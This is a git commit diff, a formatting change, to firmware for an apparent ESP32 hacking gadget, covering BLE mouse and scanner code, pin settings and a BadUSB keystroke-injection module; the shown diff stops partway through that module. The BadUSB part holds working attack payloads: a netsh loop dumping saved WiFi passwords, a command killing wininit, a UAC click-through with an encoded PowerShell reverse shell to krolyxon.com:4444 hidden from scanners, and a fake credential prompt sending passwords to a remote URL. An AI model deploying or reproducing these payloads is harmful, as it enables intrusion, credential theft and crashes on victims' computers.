summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorkrolyxon <me@krolyxon.com>2026-05-14 23:14:31 +0530
committerkrolyxon <me@krolyxon.com>2026-05-14 23:14:31 +0530
commit206ed229198be252a9ae94342b39618aaab55925 (patch)
tree06d2ad100372c595974f1c6dcb1cd23ccdd26207 /src
parent3672abc8b44c50ab344aeaf3c720c8502ccc128d (diff)
apply code formatting
Diffstat (limited to 'src')
-rw-r--r--src/bluetooth/ble_mouse.cpp109
-rw-r--r--src/bluetooth/blescanner.cpp303
-rw-r--r--src/config.h22
-rw-r--r--src/hid/badusb.cpp540
-rw-r--r--src/main.cpp119
-rw-r--r--src/nfc/nfc.cpp133
-rw-r--r--src/rf/cc1101.cpp535
-rw-r--r--src/rf/nrf24.cpp359
-rw-r--r--src/ui/display.cpp17
-rw-r--r--src/ui/menu.cpp531
-rw-r--r--src/utils/buttons.cpp17
-rw-r--r--src/utils/sysinfo.cpp119
-rw-r--r--src/wifi/wifi_analyzer.cpp189
-rw-r--r--src/wifi/wifi_scan.cpp199
14 files changed, 1503 insertions, 1689 deletions
diff --git a/src/bluetooth/ble_mouse.cpp b/src/bluetooth/ble_mouse.cpp
index 423ea8c..c757eb3 100644
--- a/src/bluetooth/ble_mouse.cpp
+++ b/src/bluetooth/ble_mouse.cpp
@@ -1,7 +1,7 @@
+#include "../config.h"
+#include "../hid/badusb.h"
#include <Arduino.h>
#include <BleMouse.h>
-#include "../hid/badusb.h"
-#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
@@ -11,64 +11,63 @@
extern BleMouse bleMouse;
// ===== MAIN =====
-void ble_mouse_run()
-{
+void ble_mouse_run() {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(10, 25, "BLE Mouse");
+ u8g2.drawStr(10, 45, "Connecting...");
+ u8g2.sendBuffer();
+
+ delay(800);
+
+ while (1) {
+ // 🔥 EXIT FIRST (clean)
+ if (btnBack())
+ break;
+
+ bool connected = bleMouse.isConnected();
+
+ int dx = 0;
+ int dy = 0;
+
+ if (connected) {
+ if (!digitalRead(BTN_UP))
+ dy = -6;
+ if (!digitalRead(BTN_DOWN))
+ dy = 6;
+ if (!digitalRead(BTN_LEFT))
+ dx = -6;
+ if (!digitalRead(BTN_RIGHT))
+ dx = 6;
+
+ if (dx || dy)
+ bleMouse.move(dx, dy);
+
+ // ✅ single click (not spam)
+ static bool lastSelect = false;
+ bool currentSelect = !digitalRead(BTN_SELECT);
+
+ if (currentSelect && !lastSelect)
+ bleMouse.click(MOUSE_LEFT);
+
+ lastSelect = currentSelect;
+ }
+
+ // ===== UI =====
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(10, 25, "BLE Mouse");
- u8g2.drawStr(10, 45, "Connecting...");
- u8g2.sendBuffer();
-
- delay(800);
-
- while (1)
- {
- // 🔥 EXIT FIRST (clean)
- if (btnBack()) break;
-
- bool connected = bleMouse.isConnected();
-
- int dx = 0;
- int dy = 0;
- if (connected)
- {
- if (!digitalRead(BTN_UP)) dy = -6;
- if (!digitalRead(BTN_DOWN)) dy = 6;
- if (!digitalRead(BTN_LEFT)) dx = -6;
- if (!digitalRead(BTN_RIGHT)) dx = 6;
+ u8g2.drawStr(10, 20, "BLE Mouse");
- if (dx || dy)
- bleMouse.move(dx, dy);
+ if (connected)
+ u8g2.drawStr(10, 35, "Connected");
+ else
+ u8g2.drawStr(10, 35, "Waiting");
- // ✅ single click (not spam)
- static bool lastSelect = false;
- bool currentSelect = !digitalRead(BTN_SELECT);
+ u8g2.drawStr(10, 55, "BACK = Exit");
- if (currentSelect && !lastSelect)
- bleMouse.click(MOUSE_LEFT);
-
- lastSelect = currentSelect;
- }
-
- // ===== UI =====
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
-
- u8g2.drawStr(10, 20, "BLE Mouse");
-
- if (connected)
- u8g2.drawStr(10, 35, "Connected");
- else
- u8g2.drawStr(10, 35, "Waiting");
-
- u8g2.drawStr(10, 55, "BACK = Exit");
-
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
- delay(10); // important for BLE stability
- }
+ delay(10); // important for BLE stability
+ }
}
-
-
-
diff --git a/src/bluetooth/blescanner.cpp b/src/bluetooth/blescanner.cpp
index d637683..8019181 100644
--- a/src/bluetooth/blescanner.cpp
+++ b/src/bluetooth/blescanner.cpp
@@ -1,20 +1,20 @@
#include <Arduino.h>
+#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h>
#include <BLEScan.h>
-#include <BLEAdvertisedDevice.h>
#include <vector>
-#include "ui/display.h"
-#include "../utils/buttons.h"
#include "../config.h"
+#include "../utils/buttons.h"
+#include "ui/display.h"
// ===== DEVICE STRUCT =====
struct BLEDeviceInfo {
- String name;
- String address;
- int rssi;
- String manufacturer;
- String deviceType;
+ String name;
+ String address;
+ int rssi;
+ String manufacturer;
+ String deviceType;
};
static std::vector<BLEDeviceInfo> devices;
@@ -23,187 +23,168 @@ static int selectedIndex = 0;
// ===== CALLBACK =====
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
- void onResult(BLEAdvertisedDevice advertisedDevice) override {
- BLEDeviceInfo dev;
-
- String tempName = advertisedDevice.getName().c_str();
-
- if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
- tempName = advertisedDevice.getServiceData().c_str();
- }
-
- if (tempName.length() == 0) {
- String addr = advertisedDevice.getAddress().toString().c_str();
- tempName = "BLE_" + addr.substring(addr.length() - 5);
- }
-
- dev.name = tempName;
- dev.address = advertisedDevice.getAddress().toString().c_str();
- dev.rssi = advertisedDevice.getRSSI();
-
- if (advertisedDevice.haveManufacturerData()) {
- String mData = advertisedDevice.getManufacturerData().c_str();
-
- if (mData.length() >= 2) {
- char buffer[10];
- sprintf(buffer, "0x%02X%02X",
- (uint8_t)mData[1],
- (uint8_t)mData[0]);
- dev.manufacturer = String(buffer);
- } else {
- dev.manufacturer = "unknown";
- }
- } else {
- dev.manufacturer = "unknown";
- }
-
- if (advertisedDevice.haveServiceUUID()) {
- dev.deviceType =
- advertisedDevice.getServiceUUID().toString().c_str();
- } else {
- dev.deviceType = "unknown";
- }
-
- devices.push_back(dev);
+ void onResult(BLEAdvertisedDevice advertisedDevice) override {
+ BLEDeviceInfo dev;
+
+ String tempName = advertisedDevice.getName().c_str();
+
+ if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
+ tempName = advertisedDevice.getServiceData().c_str();
+ }
+
+ if (tempName.length() == 0) {
+ String addr = advertisedDevice.getAddress().toString().c_str();
+ tempName = "BLE_" + addr.substring(addr.length() - 5);
+ }
+
+ dev.name = tempName;
+ dev.address = advertisedDevice.getAddress().toString().c_str();
+ dev.rssi = advertisedDevice.getRSSI();
+
+ if (advertisedDevice.haveManufacturerData()) {
+ String mData = advertisedDevice.getManufacturerData().c_str();
+
+ if (mData.length() >= 2) {
+ char buffer[10];
+ sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
+ dev.manufacturer = String(buffer);
+ } else {
+ dev.manufacturer = "unknown";
+ }
+ } else {
+ dev.manufacturer = "unknown";
+ }
+
+ if (advertisedDevice.haveServiceUUID()) {
+ dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
+ } else {
+ dev.deviceType = "unknown";
}
+
+ devices.push_back(dev);
+ }
};
// ===== DRAW MENU =====
-void ble_drawMenu()
-{
- u8g2.clearBuffer();
-
- if (devices.empty())
- {
- u8g2.setFont(u8g2_font_6x12_tr);
- u8g2.drawStr(0, 30, "No devices");
- u8g2.drawStr(0, 45, "Press BACK");
- }
- else
- {
- u8g2.setFont(u8g2_font_5x8_tr);
+void ble_drawMenu() {
+ u8g2.clearBuffer();
+
+ if (devices.empty()) {
+ u8g2.setFont(u8g2_font_6x12_tr);
+ u8g2.drawStr(0, 30, "No devices");
+ u8g2.drawStr(0, 45, "Press BACK");
+ } else {
+ u8g2.setFont(u8g2_font_5x8_tr);
- char counter[20];
- sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
- u8g2.drawStr(0, 8, counter);
+ char counter[20];
+ sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
+ u8g2.drawStr(0, 8, counter);
- u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.setFont(u8g2_font_6x10_tr);
- for (int i = 0; i < 3; i++)
- {
- int idx = selectedIndex + i;
- if (idx >= devices.size()) break;
+ for (int i = 0; i < 3; i++) {
+ int idx = selectedIndex + i;
+ if (idx >= devices.size())
+ break;
- int y = 22 + i * 14;
+ int y = 22 + i * 14;
- if (i == 0)
- {
- u8g2.drawBox(0, y - 10, 128, 12);
- u8g2.setDrawColor(0);
- }
+ if (i == 0) {
+ u8g2.drawBox(0, y - 10, 128, 12);
+ u8g2.setDrawColor(0);
+ }
- String text = devices[idx].name;
- if (text.length() > 12)
- text = text.substring(0, 12) + "..";
+ String text = devices[idx].name;
+ if (text.length() > 12)
+ text = text.substring(0, 12) + "..";
- text += " (" + String(devices[idx].rssi) + ")";
+ text += " (" + String(devices[idx].rssi) + ")";
- u8g2.drawStr(2, y, text.c_str());
+ u8g2.drawStr(2, y, text.c_str());
- if (i == 0)
- u8g2.setDrawColor(1);
- }
+ if (i == 0)
+ u8g2.setDrawColor(1);
}
+ }
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ===== DEVICE DETAILS =====
-void ble_drawDetails(const BLEDeviceInfo &dev)
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
+void ble_drawDetails(const BLEDeviceInfo &dev) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 10, dev.name.c_str());
- u8g2.drawStr(0, 20, dev.address.c_str());
+ u8g2.drawStr(0, 10, dev.name.c_str());
+ u8g2.drawStr(0, 20, dev.address.c_str());
- char rssiStr[20];
- sprintf(rssiStr, "RSSI: %d", dev.rssi);
- u8g2.drawStr(0, 30, rssiStr);
+ char rssiStr[20];
+ sprintf(rssiStr, "RSSI: %d", dev.rssi);
+ u8g2.drawStr(0, 30, rssiStr);
- u8g2.drawStr(0, 40, dev.manufacturer.c_str());
+ u8g2.drawStr(0, 40, dev.manufacturer.c_str());
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ===== SCAN =====
-void ble_scan()
-{
- devices.clear();
-
- u8g2.clearBuffer();
- u8g2.drawStr(10, 30, "Scanning...");
- u8g2.sendBuffer();
-
- BLEDevice::init("");
-
- pBLEScan = BLEDevice::getScan();
- pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
- pBLEScan->setActiveScan(true);
- pBLEScan->setInterval(100);
- pBLEScan->setWindow(99);
-
- pBLEScan->start(5, false);
-
- // remove duplicates
- std::vector<BLEDeviceInfo> unique;
- for (auto &d : devices)
- {
- bool exists = false;
- for (auto &u : unique)
- {
- if (u.address == d.address)
- {
- exists = true;
- break;
- }
- }
- if (!exists) unique.push_back(d);
+void ble_scan() {
+ devices.clear();
+
+ u8g2.clearBuffer();
+ u8g2.drawStr(10, 30, "Scanning...");
+ u8g2.sendBuffer();
+
+ BLEDevice::init("");
+
+ pBLEScan = BLEDevice::getScan();
+ pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
+ false);
+ pBLEScan->setActiveScan(true);
+ pBLEScan->setInterval(100);
+ pBLEScan->setWindow(99);
+
+ pBLEScan->start(5, false);
+
+ // remove duplicates
+ std::vector<BLEDeviceInfo> unique;
+ for (auto &d : devices) {
+ bool exists = false;
+ for (auto &u : unique) {
+ if (u.address == d.address) {
+ exists = true;
+ break;
+ }
}
+ if (!exists)
+ unique.push_back(d);
+ }
- devices = unique;
+ devices = unique;
}
// ===== MAIN LOOP =====
-void ble_loop()
-{
- static uint32_t lastPress = 0;
-
- if (millis() - lastPress < 200)
- return;
-
- if (btnDown() && selectedIndex < (int)devices.size() - 1)
- {
- selectedIndex++;
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnUp() && selectedIndex > 0)
- {
- selectedIndex--;
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnSelect() && !devices.empty())
- {
- ble_drawDetails(devices[selectedIndex]);
- delay(3000);
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnBack())
- {
- lastPress = millis();
- return;
- }
+void ble_loop() {
+ static uint32_t lastPress = 0;
+
+ if (millis() - lastPress < 200)
+ return;
+
+ if (btnDown() && selectedIndex < (int)devices.size() - 1) {
+ selectedIndex++;
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnUp() && selectedIndex > 0) {
+ selectedIndex--;
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnSelect() && !devices.empty()) {
+ ble_drawDetails(devices[selectedIndex]);
+ delay(3000);
+ ble_drawMenu();
+ lastPress = millis();
+ } else if (btnBack()) {
+ lastPress = millis();
+ return;
+ }
}
diff --git a/src/config.h b/src/config.h
index 3cb47b5..d5f46a6 100644
--- a/src/config.h
+++ b/src/config.h
@@ -18,24 +18,19 @@
/////////////////cc1101 vars//////////////
// CC1101 via FSPI
#define cc1101_SCK 15
-#define cc1101_MISO 3
+#define cc1101_MISO 41
#define cc1101_MOSI 35
//////////////cc1101(1)//////////
-#define CC1101_CS 45
-#define CC1101_GDO0 21
-#define CC1101_GDO2 47
-
-/////////////cc1101(2)//////////
-#define CC1101_2_CS 40
-#define CC1101_2_GDO0 41
-#define CC1101_2_GDO2 42
+#define CC1101_CS 40
+#define CC1101_GDO0 39
+#define CC1101_GDO2 42
// SD Card via HSPI
-#define SD_SCK 14
-#define SD_MISO 39
-#define SD_MOSI 38
-#define SD_CS 37
+//#define SD_SCK 14
+//#define SD_MISO 39
+//#define SD_MOSI 38
+//#define SD_CS 37
// =================== Buttons ====================
@@ -45,4 +40,3 @@
#define BTN_BACK 7
#define BTN_LEFT 1
#define BTN_RIGHT 2
-
diff --git a/src/hid/badusb.cpp b/src/hid/badusb.cpp
index b724a59..71010bb 100644
--- a/src/hid/badusb.cpp
+++ b/src/hid/badusb.cpp
@@ -1,6 +1,6 @@
+#include "../ui/display.h"
#include <Arduino.h>
#include <USBHIDKeyboard.h>
-#include "../ui/display.h"
extern USBHIDKeyboard Keyboard;
@@ -56,332 +56,366 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
}
}
-void typeSlow(const char *text, int delayMs = 25)
-{
- while (*text)
- {
- Keyboard.print(*text);
- delay(delayMs);
- text++;
- }
+void typeSlow(const char *text, int delayMs = 25) {
+ while (*text) {
+ Keyboard.print(*text);
+ delay(delayMs);
+ text++;
+ }
}
void badUSBMenu(int index) {
- //switch (index)
- // {
- // case 0:
- // runBadUSBDemo();
- // break;
+ // switch (index)
+ // {
+ // case 0:
+ // runBadUSBDemo();
+ // break;
- // case 1:
- // Serial.println("Open CMD payload");
- // runBadUSBOpenCMD();
- // break;
+ // case 1:
+ // Serial.println("Open CMD payload");
+ // runBadUSBOpenCMD();
+ // break;
- // case 2:
- // Serial.println("Rickroll payload");
- // runBadUSBRickroll();
- // break;
- // }
+ // case 2:
+ // Serial.println("Rickroll payload");
+ // runBadUSBRickroll();
+ // break;
+ // }
+ switch (index) {
+ // ================= ORION DEMO =================
+ case 0:
+ showRunningScreen("ORION Demo");
- switch(index)
-{
- // ================= ORION DEMO =================
- case 0:
- showRunningScreen("ORION Demo");
+ runCommand("notepad");
- runCommand("notepad");
+ delay(2500);
- delay(2500);
+ typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
+ Keyboard.write(KEY_RETURN);
- typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
- Keyboard.write(KEY_RETURN);
+ typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
+ Keyboard.write(KEY_RETURN);
- typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
- Keyboard.write(KEY_RETURN);
+ typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
+ Keyboard.write(KEY_RETURN);
- typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
- Keyboard.write(KEY_RETURN);
+ typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
+ Keyboard.write(KEY_RETURN);
- typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
- Keyboard.write(KEY_RETURN);
+ typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
+ Keyboard.write(KEY_RETURN);
- typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
- Keyboard.write(KEY_RETURN);
+ typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
+ Keyboard.write(KEY_RETURN);
- typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
- Keyboard.write(KEY_RETURN);
+ Keyboard.write(KEY_RETURN);
- Keyboard.write(KEY_RETURN);
+ typeSlow("[+] WIFI MODULE READY");
+ Keyboard.write(KEY_RETURN);
- typeSlow("[+] WIFI MODULE READY");
- Keyboard.write(KEY_RETURN);
+ typeSlow("[+] BLE MODULE READY");
+ Keyboard.write(KEY_RETURN);
- typeSlow("[+] BLE MODULE READY");
- Keyboard.write(KEY_RETURN);
+ typeSlow("[+] SUBGHZ MODULE READY");
+ Keyboard.write(KEY_RETURN);
- typeSlow("[+] SUBGHZ MODULE READY");
- Keyboard.write(KEY_RETURN);
+ typeSlow("[+] NFC MODULE READY");
+ Keyboard.write(KEY_RETURN);
- typeSlow("[+] NFC MODULE READY");
- Keyboard.write(KEY_RETURN);
+ typeSlow("[+] HID ENGINE READY");
+ Keyboard.write(KEY_RETURN);
- typeSlow("[+] HID ENGINE READY");
- Keyboard.write(KEY_RETURN);
+ break;
- break;
+ // ================= RICKROLL =================
+ case 1:
+ showRunningScreen("RickRoll");
- // ================= RICKROLL =================
- case 1:
- showRunningScreen("RickRoll");
+ runCommand("cmd");
- runCommand("cmd");
+ delay(700);
- delay(700);
+ typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
+ Keyboard.write(KEY_RETURN);
- typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
- Keyboard.write(KEY_RETURN);
+ break;
- break;
+ // ================= MATRIX =================
+ case 2:
+ showRunningScreen("Matrix");
- // ================= MATRIX =================
- case 2:
- showRunningScreen("Matrix");
+ runCommand("cmd");
- runCommand("cmd");
+ delay(700);
- delay(700);
+ typeSlow("color 0A");
+ Keyboard.write(KEY_RETURN);
- typeSlow("color 0A");
- Keyboard.write(KEY_RETURN);
+ typeSlow("mode con: cols=120 lines=40");
+ Keyboard.write(KEY_RETURN);
- typeSlow("mode con: cols=120 lines=40");
- Keyboard.write(KEY_RETURN);
+ typeSlow(":A");
+ Keyboard.write(KEY_RETURN);
- typeSlow(":A");
- Keyboard.write(KEY_RETURN);
+ typeSlow("echo %random%%random%%random%%random%%random%");
+ Keyboard.write(KEY_RETURN);
- typeSlow("echo %random%%random%%random%%random%%random%");
- Keyboard.write(KEY_RETURN);
+ typeSlow("goto A");
+ Keyboard.write(KEY_RETURN);
- typeSlow("goto A");
- Keyboard.write(KEY_RETURN);
+ break;
- break;
+ // ================= FAKE TERMINAL =================
+ case 3:
+ showRunningScreen("Fake Terminal");
- // ================= FAKE TERMINAL =================
- case 3:
- showRunningScreen("Fake Terminal");
+ runCommand("cmd");
- runCommand("cmd");
+ delay(700);
- delay(700);
+ typeSlow("color 0A");
+ Keyboard.write(KEY_RETURN);
- typeSlow("color 0A");
- Keyboard.write(KEY_RETURN);
+ typeSlow("cls");
+ Keyboard.write(KEY_RETURN);
- typeSlow("cls");
- Keyboard.write(KEY_RETURN);
+ typeSlow("echo CONNECTING TO TARGET...");
+ Keyboard.write(KEY_RETURN);
- typeSlow("echo CONNECTING TO TARGET...");
- Keyboard.write(KEY_RETURN);
+ typeSlow("echo BYPASSING FIREWALL...");
+ Keyboard.write(KEY_RETURN);
- typeSlow("echo BYPASSING FIREWALL...");
- Keyboard.write(KEY_RETURN);
+ typeSlow("echo ACCESS GRANTED");
+ Keyboard.write(KEY_RETURN);
- typeSlow("echo ACCESS GRANTED");
- Keyboard.write(KEY_RETURN);
+ typeSlow("systeminfo");
+ Keyboard.write(KEY_RETURN);
- typeSlow("systeminfo");
- Keyboard.write(KEY_RETURN);
-
- break;
+ break;
// ================= WIFI CRACK =================
-// ================= WIFI PASSWORD RECOVERY =================
- case 4:
- showRunningScreen("WiFi Recovery");
-
- runCommand("cmd");
- delay(700);
-
- // Styling the window
- typeSlow("color 0A && mode con: cols=100 lines=30");
- Keyboard.write(KEY_RETURN);
- delay(200);
-
- typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
- Keyboard.write(KEY_RETURN);
- delay(500);
-
- // The "Magic" Command:
- // This lists all profiles and shows the 'Key Content' (the password) in clear text.
- // We use a 'for' loop to automate this for every network the PC has ever joined.
- typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
-
- Keyboard.write(KEY_RETURN);
-
- // Optional: Keep the window open to read the results
- typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
- Keyboard.write(KEY_RETURN);
-
- break;
-
- // ================= FAKE UPDATE =================
- case 5:
- showRunningScreen("Fake Update");
-
- runCommand("cmd");
-
- delay(700);
+ // ================= WIFI PASSWORD RECOVERY =================
+ case 4:
+ showRunningScreen("WiFi Recovery");
- typeSlow("start https://fakeupdate.net/win10u/");
- Keyboard.write(KEY_RETURN);
+ runCommand("cmd");
+ delay(700);
- break;
+ // Styling the window
+ typeSlow("color 0A && mode con: cols=100 lines=30");
+ Keyboard.write(KEY_RETURN);
+ delay(200);
- // ================= FAKE BSOD =================
- case 6:
- showRunningScreen("Critical Error");
+ typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
+ Keyboard.write(KEY_RETURN);
+ delay(500);
- runCommand("powershell -c \"stop-process -name wininit -force\"");
- break;
+ // The "Magic" Command:
+ // This lists all profiles and shows the 'Key Content' (the password) in
+ // clear text. We use a 'for' loop to automate this for every network the PC
+ // has ever joined.
+ typeSlow(
+ "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
+ "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
+ "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
- // ================= GLITCH SCREEN =================
- case 7:
- showRunningScreen("Glitch");
+ Keyboard.write(KEY_RETURN);
- runCommand("cmd");
+ // Optional: Keep the window open to read the results
+ typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
+ Keyboard.write(KEY_RETURN);
- delay(700);
+ break;
- for(int i = 0; i < 20; i++)
- {
- typeSlow("color 4F");
- Keyboard.write(KEY_RETURN);
+ // ================= FAKE UPDATE =================
+ case 5:
+ showRunningScreen("Fake Update");
- typeSlow("color 1F");
- Keyboard.write(KEY_RETURN);
+ runCommand("cmd");
- typeSlow("cls");
- Keyboard.write(KEY_RETURN);
- }
+ delay(700);
- break;
+ typeSlow("start https://fakeupdate.net/win10u/");
+ Keyboard.write(KEY_RETURN);
- // ================= ASCII SPAM =================
- case 8:
- showRunningScreen("ASCII");
+ break;
- runCommand("notepad");
+ // ================= FAKE BSOD =================
+ case 6:
+ showRunningScreen("Critical Error");
- delay(2000);
+ runCommand("powershell -c \"stop-process -name wininit -force\"");
+ break;
- for(int i = 0; i < 15; i++)
- {
- typeSlow("######### ORION-RF #########");
- Keyboard.write(KEY_RETURN);
+ // ================= GLITCH SCREEN =================
+ case 7:
+ showRunningScreen("Glitch");
- typeSlow(">>> SIGNAL ACQUIRED <<<");
- Keyboard.write(KEY_RETURN);
+ runCommand("cmd");
- typeSlow("[|||||||||||||||||||||||||]");
- Keyboard.write(KEY_RETURN);
+ delay(700);
- Keyboard.write(KEY_RETURN);
- }
+ for (int i = 0; i < 20; i++) {
+ typeSlow("color 4F");
+ Keyboard.write(KEY_RETURN);
- break;
+ typeSlow("color 1F");
+ Keyboard.write(KEY_RETURN);
- // ================= HACKER TYPER =================
- case 9:
- showRunningScreen("Hacker Typer");
-
- runCommand("cmd");
-
- delay(700);
-
- typeSlow("start https://hackertyper.net/");
- Keyboard.write(KEY_RETURN);
-
- break;
-// ================= POWERSHELL REVERSE SHELL =================
-// ================= DEFENDER BYPASS + NC =================
- case 10:
- showRunningScreen("Pwn Mode v2");
-
- // 1. Open Admin PowerShell
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- delay(150);
- Keyboard.releaseAll();
- delay(500);
-
- // Open Admin Prompt - using 'powershell' directly to save space
- typeSlow("powershell Start-Process powershell -Verb runAs");
- Keyboard.write(KEY_RETURN);
- delay(2500); // Wait for UAC
-
- // 2. Bypass UAC (Left Arrow + Enter)
- Keyboard.write(KEY_LEFT_ARROW);
- delay(200);
- Keyboard.write(KEY_RETURN);
- delay(3000); // Give the Admin window time to load
-
- // 3. AMSI Bypass + Disable Defender + Execute Shell
- // We use -EncodedCommand to hide the script from simple string scanners.
- // The Base64 string below contains:
- // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
-
- typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
+ typeSlow("cls");
+ Keyboard.write(KEY_RETURN);
+ }
- // This is the encoded payload for krolyxon.com:4444
- typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
- "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
- "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
- "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
- "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
- "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
- "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
- "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
- "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
- "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
+ break;
- Keyboard.write(KEY_RETURN);
- break;
- // ================= CREDENTIAL SNATCHER =================
- case 11:
- showRunningScreen("Vault Crack");
+ // ================= ASCII SPAM =================
+ case 8:
+ showRunningScreen("ASCII");
- // Open hidden PowerShell
- runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
+ runCommand("notepad");
- break;
-// ================= DESKTOP GHOST =================
- case 12:
- showRunningScreen("Ghost Mode");
+ delay(2000);
